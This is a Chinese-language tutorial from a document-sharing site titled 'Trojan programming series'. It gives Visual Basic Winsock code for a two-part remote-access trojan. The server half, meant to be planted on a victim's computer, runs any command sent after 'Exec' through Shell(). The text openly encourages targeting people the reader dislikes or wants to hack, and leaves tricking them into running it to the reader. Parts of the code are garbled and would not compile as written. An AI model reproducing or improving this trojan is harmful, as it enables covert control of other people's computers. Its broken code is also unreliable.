木马编程系列

【#文档大全网# 导语】以下是®文档大全网的小编为您整理的《木马编程系列》，欢迎阅读！

木马编程系列

今天我为大家讲如何用VB编写"木马"程序

木马一般分为两个主程序:一个是服务器端的程序(server),另一个是客户端程序(client),服务器程序是给

攻击对象用的,千万不可用错了----给自己种马的人......^0^

客户程序才是给自己用的,于是我们就用VB建立两个程序,一个为服务器端程序 cockhorseserver,另一个为 客户端程序cockhorseclient.

先在cockhorseclient程序中建立一个窗体,加载一个winsock控件,称为tcpclient,再加上两个文本框,用来

输入服务器的IP地址和端口号.另外还要建立一个按钮,按下后可以对连接进行初始化.

代码我写下:

Private Sub Command1_Click() '调用connect方法,初始化连接.

tcpclient.RemoteHost = ipinput.Text

tcpclient.RemotePort = Val(portinput.Text) '这是端口号,默认为1001 tcpclient.Connect '和指定的IP相对的计算机相连接 cmdconnect.Enabled = False End Sub

(在收到数据之后,就要对这些数据做出相应的处理,使用dataarrival事件,可以方便运载数据进操作.

Private Sub tcpclient_dataArrival(ByVal bytestotal As Long) Dim strdata As String tcpclient.GetData strdata

If strdata = "test connect" Then

tcpstate.Text = "connect OK" + vbNewLine + LocalIP Is ":" +

-tcpclient.LocalIP + "computer name is : " + tcpclient.LocalHostName tcpstate.Text = tcpstate.Text + vbNewLine + "remote ip is :" + -tcpclient.RemoteHostIP + "computer name is : " + tcpclient.remotehostname

If InStr(Trim(strdata), "closeOK?") > 0 Then tcpclient.Close End If End If

txtoutput.Text = txtouput.Text + vbNewLine + tcpclient.RemoteHostIP + ": " + strdata End Sub




End Sub

这是这一段代码

cockhorseclient程序的核心部分就是这些,下面我讲cockhorseserver程序

cockhorseserver程序也是先建立一个窗体,也要加载一个winsock控件,(方便一些,我在同一个工程下建立这

个窗体).如果当cockhorseclient程序运行时,cockhorseclient程序就会对cockhorseserver发出连接请求,

为了完成这个连接任务,可以用connectionrequest事件来完成,然后就是具体的错误情况的表达.

代码我打出来:

if index=0 then intmax= intmax+1

load tcpserver(intmax)

tcpserver(intmax).localport=0

tcpserver(intmax).accept requestID

combol_IP.additem(tcpserver(intmax).remotehostIP) combol_Ip.text="填上你的恨的人的IP吧!" tcpserver(intmax).senddata"test connect" end if

呵呵.刚才忘记定义名称了

它的效果是:在cockhorseclient程序被按下的时候,cockhorseserver程序的connectionrequest事件被触发, 从而执行上面的程序,产生连接.

现在的cockhorseserver程序只能做链接,还不能处理cockhorseclient程序所发出的指令,我们还必需用 dataarrival事件.

代码是这样的:

Private Sub tcpserver_dataArrival(index As Integer, ByVal bytestotal As Long)

Dim strdata As String Dim check_blong

on error gogo err_pro


tcpserver(index).GetData strdata

check_blong = InStr(Trim(strdata), "Exec") If check_blong > 0 Then strdata = Trim(strdata)

strdata = Right(strdata.Len(strdata) - 4)

Connect.Text = content.Text + vbNewLine + tcpserver(index).RemoteHostIP + "" + "要求执行下面的程序：" + strdata Shell (strdata) Else

check_blong = InStr(Trim(strdata), "closeOk") If check_blong > 0 Then tcpserver(index).Close

combol_IP.removeltem (index - 1)

content.Text = content.Text + vbNewLine + tcpserver(index).RemoteHostIP + "" + "已经断开！" Else

ipname.Text = tcpserver(index).RemoteHostIP txtoutput.Text = content.Text + vbNewLine + tcpserver(index).RemoteHostIP + "" + strdata End If

End Sub

end if err_pro:

if err=53 then

msgbox "所执行的程序的路径有错误! ", + tcpserver(index).remotehostIP + "该程序在执行时被拒绝!" tcpserver(index).senddata"" end if

resume next

end sub

这样,cockhorseserver程序就完了,这就是一个最基本的木马程序,你用它就可以把你想要黑的人的电脑搞定!至于怎么让MM运行你编写的木马服务端程序,那就是你的自己的事情啦!

好了.大概就是这样.控件名称呢.自己定义.我也好长时间没碰VB了.呵呵

本文来源：https://www.wddqxz.cn/020993fec8d376eeaeaa313a.html